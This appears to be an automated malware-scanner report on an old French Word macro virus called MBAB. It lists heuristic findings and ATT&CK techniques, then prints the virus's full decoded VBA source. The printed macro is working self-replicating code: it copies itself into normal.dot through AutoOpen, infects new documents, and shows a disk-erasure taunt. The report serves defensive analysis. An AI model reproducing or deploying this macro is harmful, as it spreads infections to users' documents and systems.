MALICIOUS
162
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The AutoOpen macro in the VBA script executes when the document is opened. It attempts to save the document as 'MBAB.Doc' in the system directory and copies its macro to 'normal.dot', indicating an attempt at persistence. The script also creates a file 'MBAB.txt' in the system directory with encoded strings, likely for tracking or further malicious actions.
Heuristics 6
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OLE document has large unaccounted-for region high OLE_SLACK_ANOMALYOLE file is 34,304 bytes but its declared streams total only 16,490 bytes — 17,814 bytes (52%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
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VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
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AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
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CreateObject call high OLE_VBA_CREATEOBJCreateObject call
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1556 bytes |
SHA-256: 4574378df8cef54a331c7735ef0294d49de8260970849e0a6c3bcfe2b66ed365 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 long base64-like blob(s).
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Module1"
Sub AutoOpen()
Set fs = CreateObject("Scripting.FileSystemObject")
If fs.FileExists("C:\windows\system\MBAB.txt") = False Then
ActiveDocument.SaveAs ("c:\windows\system\MBAB.Doc")
Application.OrganizerCopy Source:=ActiveDocument.FullName, _
Destination:="c:\windows\Application data\microsoft\modèles\normal.dot", _
Name:="Module1", _
Object:=wdOrganizerObjectProjectItems
MsgBox "Vous venez d'ouvrir un document infecté par MBAB !!", vbExclamation + vbOKOnly, "Windows_Class_4°"
Set fs = CreateObject("Scripting.FileSystemObject")
Set a = fs.CreateTextFile("c:\Windows\System\MBAB.txt", True)
a.WriteLine ("|sz@@#gbbt{^#@@@#^---[M´`~??/B^¨%%$ +%ù^ A^*¨%B¨PM.0")
a.Close
Else
End If
End Sub
Sub AutoNew()
Application.OrganizerCopy Source:="C:\Windows\system\MBAB.doc", _
Destination:=ActiveDocument.FullName, _
Name:="Module1", _
Object:=wdOrganizerObjectProjectItems
End Sub
Sub AutoExit()
MsgBox "0101010001011101010101MON1010010011110100101001001NOM0101010EST10100100011110100010010MBAB0101001101101010101001ERASE1010101011001001101010YOUR10101101010110010101010H00010001011A01001011R101010D0010101110011010111010DISK11101010101011110000101", vbExclamation, "MBAB MBAB MBAB MBAB MBAB MBAB MBAB MBAB MBAB MBAB MBAB MBAB MBAB MBAB"
End Sub
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